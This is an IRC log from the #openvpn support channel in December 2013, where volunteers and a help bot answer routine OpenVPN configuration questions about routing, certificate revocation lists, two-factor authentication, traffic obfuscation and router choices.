13:44 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
13:45 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:59 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
14:07 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:10 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
14:22 -!- Six6siX [~Devil@jasmine.sammybakar.com] has joined #openvpn
14:29 -!- Six6siX [~Devil@jasmine.sammybakar.com] has quit [Quit: ZNC - http://znc.in]
14:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:31 -!- Six6siX [~Devil@jasmine.sammybakar.com] has joined #openvpn
14:46 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
14:46 < PackardBell> !welcome
14:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
14:46 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:47 < PackardBell> !wiki
14:47 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
14:47 < tholme> !sample
14:47 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
14:48 < tholme> !route
14:48 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
14:48 <@vpnHelper> client
14:48 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 250 seconds]
14:48 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
15:02 < pagios> does openvpn has the ability to listen on multiple interfaces simultaneously.?
15:07 < pekster> pagios: From 1 instance? Yes, that's the default behavior unless --local is used
15:08 < pagios> pekster: i mainly have 3 ips, need to listen on 2 only so local for now is listening on 1
15:08 < pekster> Then no
15:08 < pekster> Use NAT or a firewall (like you should be doing anyway)
15:16 -!- Six6siX [~Devil@jasmine.sammybakar.com] has quit [Ping timeout: 252 seconds]
15:30 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
15:31 <@ecrist> !crlverify
15:31 <@ecrist> !factoids search crl
15:31 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
15:31 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you or (#3) openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
15:33 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:35 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 260 seconds]
15:55 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
16:06 -!- u0m3_ [~u0m3@92.80.102.164] has joined #openvpn
16:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
16:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:09 -!- tholme [~nosignup@81.167.33.102] has quit []
16:09 -!- u0m3__ [~u0m3@92.80.102.164] has quit [Ping timeout: 260 seconds]
16:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
16:15 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
16:16 -!- mndo [~mndo@bl17-73-221.dsl.telepac.pt] has joined #openvpn
16:16 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
16:19 -!- kevinlongmusic_ [~kplong@mail.musicgt.com] has joined #openvpn
16:22 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 250 seconds]
16:26 -!- kevinlongmusic_ is now known as klpong
16:27 < klpong> hello, I am placing route-nopull in one of my client configuration files, so that the default gateway is not redirected for this client. Can someone advise as to how to set the route so I can still have the client route to the remote subnet?
16:27 < klpong> (most clients are end users who need to route through vpn, this particular client is my nagios server on ec2 )
16:34 < klpong> nevermind looks like you can just set a route in the .conf file.. cool!
16:34 < pekster> Yup, anything you can --push you can define on the client end too
16:35 < pekster> Optionally, you can read about --route-noexec so you can "pick and choose" which of the pushed routes you want to use by script, if you need advanced ability to pick
16:37 -!- kevinlongmusic_ [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
16:39 -!- klpong [~kplong@mail.musicgt.com] has quit [Ping timeout: 240 seconds]
16:58 -!- x0011BF [~x007899@67.215.237.50] has quit [Quit: Leaving]
17:01 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
17:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:24 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
17:24 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
17:27 -!- meepmeep [meepmeep@end.of.cylind.re] has quit [Quit: Yippee-kay-yay]
17:28 -!- bentgf [~ben@199.241.30.80] has quit [Remote host closed the connection]
17:30 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has quit [Ping timeout: 272 seconds]
17:30 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
17:31 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
17:31 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:04 -!- kevinlongmusic_ [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
18:10 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
18:10 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
18:10 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
18:11 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
18:12 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
18:14 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
18:16 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
18:16 < mrrg> pekster: just a thanks for the policy routing tip the other day, solved that problem
18:17 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
18:17 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Quit: No Ping reply in 180 seconds.]
18:18 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
18:18 < pekster> mrrg: Glad it helped. Policy routing sound scarrier than it often ends up being (though youc an certainly make it complex too ;)
18:18 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
18:19 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has joined #openvpn
18:19 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
18:19 < mrrg> yep, now on to the next problem :)
18:19 < mrrg> thx again
18:24 -!- mndo [~mndo@bl17-73-221.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
18:40 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
18:51 -!- toli [~toli@ip-62-235-216-45.dsl.scarlet.be] has joined #openvpn
18:53 < toli> hello, is there anyone willing to help me configure the server.conf ? I want the client when connected to the vpn/ client to client and client to server access, no other lans routing etc.
18:54 < toli> when I start openvpn it says : Options error: --server directive network/netmask combination is invalid
18:54 < toli> do you need to see my conf gile ?
18:54 < toli> file*
18:57 < toli> here is my config http://pastebin.com/Fm3K45Tf
19:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
19:02 <@ecrist> !goal
19:03 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:03 <@ecrist> !new
19:03 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
19:03 <@ecrist> !learn new as you can see the full factoids list at !factoids
19:03 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:03 <@ecrist> fucking bot
19:03 < toli> :)
19:04 < toli> I just want access as follows( client to server and client to client )
19:04 < toli> as a secured vpn
19:04 < toli> I dont need access to other subnets or networks, like inet
19:08 < pekster> !learn new as you can see the full factoids list at !factoids
19:08 <@vpnHelper> Joo got it.
19:17 -!- phragill [~madandyxp@cpc2-nmal1-0-0-cust159.19-2.cable.virginm.net] has joined #openvpn
19:20 -!- phragill [~madandyxp@cpc2-nmal1-0-0-cust159.19-2.cable.virginm.net] has left #openvpn []
19:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
19:24 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:44 -!- toli [~toli@ip-62-235-216-45.dsl.scarlet.be] has quit [Ping timeout: 240 seconds]
19:45 -!- Magnipied [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
19:47 < Magnipied> !welcome
19:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:48 < Magnipied> !man
19:48 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
20:03 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
20:05 -!- Magnipied [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
20:13 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
20:26 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
20:27 -!- Devastator [~devas@186.214.15.221] has joined #openvpn
20:30 -!- Devastator [~devas@186.214.15.221] has quit [Changing host]
20:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:47 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
20:48 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
20:48 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
21:00 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
21:01 -!- u0m3_ [~u0m3@92.80.102.164] has quit [Quit: Leaving]
21:59 -!- kevinlongmusic_ [~kplong@c-67-171-27-66.hsd1.wa.comcast.net] has joined #openvpn
22:27 -!- tgreena [~textual@c-76-110-112-91.hsd1.fl.comcast.net] has joined #openvpn
22:55 -!- tgreena [~textual@c-76-110-112-91.hsd1.fl.comcast.net] has quit [Read error: Connection reset by peer]
22:56 -!- tgreena [~textual@c-76-110-112-91.hsd1.fl.comcast.net] has joined #openvpn
22:59 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
23:01 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
23:01 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
23:01 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:45 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
23:55 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
23:56 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:59 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 250 seconds]
--- Day changed Thu Dec 12 2013
00:01 -!- xrosnight_ [~quassel@120.236.123.130] has joined #openvpn
00:01 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
00:10 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds]
00:10 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
00:13 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
00:22 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 245 seconds]
00:22 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
00:22 -!- tgreena [~textual@c-76-110-112-91.hsd1.fl.comcast.net] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
01:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:01 -!- xrosnight_ [~quassel@120.236.123.130] has quit [Changing host]
01:01 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
01:27 -!- sedemoid [~diomedes@109.201.154.159] has joined #openvpn
01:29 -!- Carbon_Monoxide [~cmonxide@14.0.143.79] has joined #openvpn
01:30 -!- Carbon_Monoxide [~cmonxide@14.0.143.79] has left #openvpn []
02:00 -!- speed_racer84 [~speed_rac@172.56.14.84] has joined #openvpn
02:01 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:02 < sedemoid> hello everyone, anyone awake who can help me with an issue with my vpn on linux mint?
02:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:03 -!- speed_racer81 [~speed_rac@172.56.14.84] has joined #openvpn
02:04 -!- speed_racer81 [~speed_rac@172.56.14.84] has quit [Read error: Connection reset by peer]
02:05 -!- speed_racer84 [~speed_rac@172.56.14.84] has quit [Read error: Connection reset by peer]
02:05 -!- speed_racer81 [~speed_rac@172.56.14.84] has joined #openvpn
02:11 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
02:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:19 -!- speed_racer81 [~speed_rac@172.56.14.84] has quit [Ping timeout: 260 seconds]
02:22 -!- kevinlongmusic_ [~kplong@c-67-171-27-66.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
02:45 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
02:45 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
02:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:53 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
03:02 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 260 seconds]
03:07 -!- sedemoid [~diomedes@109.201.154.159] has quit [Quit: Leaving]
03:09 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
03:19 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
03:20 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:40 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 250 seconds]
03:53 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
03:53 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
04:19 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has quit [Ping timeout: 264 seconds]
04:19 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has joined #openvpn
04:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
04:26 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
04:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:33 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
04:33 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
04:33 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
04:44 < pppingme> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
04:44 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
04:44 < pppingme> down?
04:54 -!- xrosnight [~quassel@113.83.112.11] has joined #openvpn
04:58 < alexxtasi> hi all, I have configured openvpn to authenticate users against an ldap server. I also installed google-authenticator on the openvpn server machine so I can add a second step of authentication. What are the steps I must follow so I can succeed ? every tutorial I found is for the openvpn-as edition
04:58 < alexxtasi> any help ?
05:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:19 -!- kraut [~kraut@dreamland.netzdeponie.de] has quit [Remote host closed the connection]
05:33 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:16 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 248 seconds]
06:17 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
06:24 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 272 seconds]
06:25 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
06:34 < pekster> alexxtasi: Generally when you want 2-factor you want one of the 2 forms to be cert-based, so client-side keypairs and then either user/pass credentials, or a OTP implementation
06:35 < pekster> There's some "challenge/response" authentication you can read about in the management docs, but it has a very specific set of requirements on how the signaling works if you're trying to do 2-factor with user/pass + OTP instead
06:43 < pekster> pppingme: Yup, known issue that boils down to a misconfiguration of the server running most of the GPL OpenVPN resources. There's no ETA, but the manpage is easy enough to view locally on your PC
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:57 <@plaisthos> alexxtasi: you will need to have some software (like OpenVPN-AS) that talks to OpenVPN over the management interface on the server
06:59 < pekster> ie, exactly what the management docs say C/R requires ;)
07:01 < pekster> Here's the reference I cited earlier: https://github.com/OpenVPN/openvpn/blob/v2.3.2/doc/management-notes.txt#L931
07:01 <@vpnHelper> Title: openvpn/doc/management-notes.txt at v2.3.2 · OpenVPN/openvpn · GitHub (at github.com)
07:04 < pekster> If you opt for user/pass/OTP, you probably want to look at the 'Static protocol' C/R option
07:09 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
07:14 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
07:22 < alexxtasi> so you mean that it can only be achieved using openvpn-as and an OTP implementation ? not using openvpn community and an opensource challenge/response soft like google-authenticator?
07:25 < pekster> It is doable with the GPL software if you follow the interface requirements I just linked you to
07:26 < pekster> You will need a client-side frontend that supports this as the bundled OpenVPN-GUI won't, and I'm not aware of any frontend that does this for Linux/Unix-alikes (we don't officially support any *nix client frontends)
07:28 < pekster> It should be fairly clear from the github link, but you will need to add the support glue yourself (or get lucky and find some project that just happens to do exactly what you want on your target platforms, which I would guess is unlikely)
07:28 < Romance> how does ISP know the port 443 is used to transport vpn traffic? not only i was blocked but i got disconnected immediately
07:28 < pekster> Romance: OpenVPN has a very unique fingerprint in TLS mode, and it's readily apparent even in static-key mode (p2p, not client->server) that it's not https traffic
07:29 < pekster> "port 443" does not magically mean "it looks like a web browser"
07:29 < Romance> pekster: english :/
07:29 < pekster> OpenVPN is not HTTPS, no.
07:29 < pekster> "They're not the same."
07:29 < Romance> ah, but how did they know
07:30 < pekster> Becuase they're not the same
07:30 < Romance> the ISP disconnected me like immediately
07:31 < pekster> OpenVPN makes no attempt to hide itself. Read some more info at !statickey about the non-TLS mode if you control both endpoints, or read about obfuscation options at !obfs
07:31 < Romance> and not only that, the signal dropped to only GPRS, and i have to wait like 10 minutes before i can connect it again
07:32 < Romance> pekster: ah ok, and dirty trick to "bypass" this?
07:32 < pekster> The references I just gave you would be a place to start..
07:32 < pekster> !new
07:32 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
07:32 < pekster> ^ read that. Then go read the !things I told you to look at above
07:34 < Romance> pekster: is it in english? i mean, english
07:34 < Romance> i dont understand networking english
07:34 < pekster> Then OpenVPN is probably not the tool for you
07:35 < pekster> VPNs are advanced networking; you can't really do advanced networking if you don't know basic networking first
07:35 < pekster> !101
07:35 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
07:35 < pekster> !statickey
07:35 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
07:35 < pekster> !obfs
07:35 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used.
07:35 <@vpnHelper> in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
07:35 < pekster> !howto
07:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
07:35 < pekster> Romance: Since you refused to read it, I sprayed it all at you above. That should be plenty of reading to start
07:36 < Romance> pekster: i even use Access Server to setup the openvpn lol, but thanks i'll look into em
07:38 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:46 < pekster> !as
07:46 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
07:46 < pekster> We don't deal with AS here
07:59 -!- xrosnight [~quassel@113.83.112.11] has quit [Changing host]
07:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:39 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Ping timeout: 252 seconds]
08:39 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-wibamfsvpsemqkbc] has joined #openvpn
08:39 < mjkr> can anyone recommend a small and portable router that has built-in openvpn client?
08:40 < mjkr> the router will have to be able to access both wifi and ethernet
08:41 < pekster> I don't know about "built-in" -- I generally recommend OpenWRT for its flexibility and open/active dev community
08:41 < mjkr> and basically it's exterior network -> this router -> my laptop
08:41 < pekster> YMMV, but any of the decent consumer models tend to work well; I've recently used WNDR3800's and been very pleased with them
08:42 < pekster> If you go that route, just be sure to confirm with the openwrt.org table of hardware that the model/firmware-revision is supported before you spend money
08:42 < mjkr> i already know that pfsense have openvpn support, but i have yet to find a small enough pfsense router.
08:42 < pekster> !google WNDR3800
08:42 <@vpnHelper> Amazon.com: Netgear WNDR3800 N600 Premium Edition Dual ...: <http://www.amazon.com/Netgear-WNDR3800-Premium-Edition-Wireless/dp/B0058NN6CS>; wndr3800 - NETGEAR Support: <http://support.netgear.com/product/wndr3800>; NETGEAR WNDR3800-100NAS N600 Wireless Dual Band Gigabit ...: <http://www.newegg.com/Product/Product.aspx?Item=N82E16833122434>
08:42 < pekster> There ya go
08:43 < mjkr> i will have to install openwrt on this router then?
08:44 < pekster> Download firmware, hold power for ~20 seconds while powering on, upload firmware via tftp, reboot, log into router, update package feed and install openvpn. That's it
08:45 < pekster> Plus openwrt allows you to do "proper" config files, which is a huge plus
08:45 < pekster> ie: just a normal, vanilla configuration with nothing out of the ordinary; the init-system allows you to reference the config for everything, and can launch it on-boot as you'd expect from any init
08:45 < mjkr> well, there aren't any "native openwrt" routers that are small enough?
08:46 < pekster> I have zero clue what that means
08:46 < pekster> #openwrt for distro-questions, but since openwrt is a software project, there's nothing "native" about it. There's really no "native" pfsense either as you have to install it first
08:47 < mjkr> let's say, router oridinally designed with openwrt in mind.
08:47 < pekster> I gave you my recommendation. Take it or leave it, but this horse is so dead the vultures are on it
08:48 < pekster> !google openwrt toh
08:48 <@vpnHelper> Table of Hardware - OpenWrt Wiki: <http://wiki.openwrt.org/toh/>; OpenWrt: <http://openwrt.org/>; TP-Link TL-WR1043ND - OpenWrt Wiki: <http://wiki.openwrt.org/toh/tp-link/tl-wr1043nd>
08:48 < pekster> URL #1
08:55 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
08:55 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-wibamfsvpsemqkbc] has quit [Remote host closed the connection]
08:56 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-fjmxtkoohzbyqqgm] has joined #openvpn
08:56 -!- kraut [~kraut@blackhole.netzdeponie.de] has joined #openvpn
08:58 -!- smue [smue@nostromo.smue.info] has joined #openvpn
08:58 -!- aji [~alex@atheme/member/aji] has quit [Remote host closed the connection]
09:01 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-fjmxtkoohzbyqqgm] has quit [Remote host closed the connection]
09:01 -!- aji [~alex@atheme/member/aji] has joined #openvpn
09:01 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-ftubrdwciccagslc] has joined #openvpn
09:04 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
09:05 < pablito> hi all
09:07 < pablito> I am trying to allow access to online journals at a university network via openvpn tunneling
09:08 < pablito> that is, I am not in the ip space of the university and would like to use openvpn server to make computer seem like it's part of the university
09:08 < pablito> anyway, i've seen this done at some schools, but i want to do it myself
09:10 < pablito> I've successfully setup the openvpn server via tap and tcp
09:11 < pablito> I can connect to the server using the openvpn client
09:11 -!- HyperGlide [~HyperGlid@182.149.191.119] has joined #openvpn
09:11 < pablito> however, the journal website still can't recognize my computer as from the university
09:14 -!- Nikon_m [~nikonm@184.151.63.132] has joined #openvpn
09:14 <@EugeneKay> !redirect
09:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:14 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:17 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 252 seconds]
09:18 < pablito> hmm
09:21 < pablito> the computer that runs my openvpn server is a device behind NAT and I do not have access to the router
09:21 <@EugeneKay> a working VPN link is most of the work.
09:22 < pablito> i mean, I have no access to config the router
09:24 <@EugeneKay> !both
09:24 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
09:25 < pablito> hmm
09:26 < pablito> ok, let me give my full scenario
09:26 < pablito> I am connected to the internet via NAT
09:26 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
09:26 < pablito> the openvpn server in another country is connected to the internet also via NAT
09:27 < pablito> I am already connected to the openvpn server
09:27 <@EugeneKay> on the university network?
09:28 < pablito> yes
09:28 < pablito> the university network is in another country
09:28 <@EugeneKay> if the server supports redirection you can enable it from the client, but that's about it
09:28 <@EugeneKay> without control of the server your options are limited
09:29 < pablito> in that university computer (where openvpn server is running), I can connect to the journal site via lynx
09:29 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
09:29 < pablito> *on
09:29 < pablito> how would I go about doing redirection?
09:29 <@EugeneKay>  so you do or don't have control of the VPN server?
09:29 < pablito> I have FULL control of the VPN server
09:30 <@EugeneKay> the router in front of it doesn't matter
09:30 < pablito> ah ok
09:30 <@EugeneKay> oh then it's easy
09:30 < pablito> great
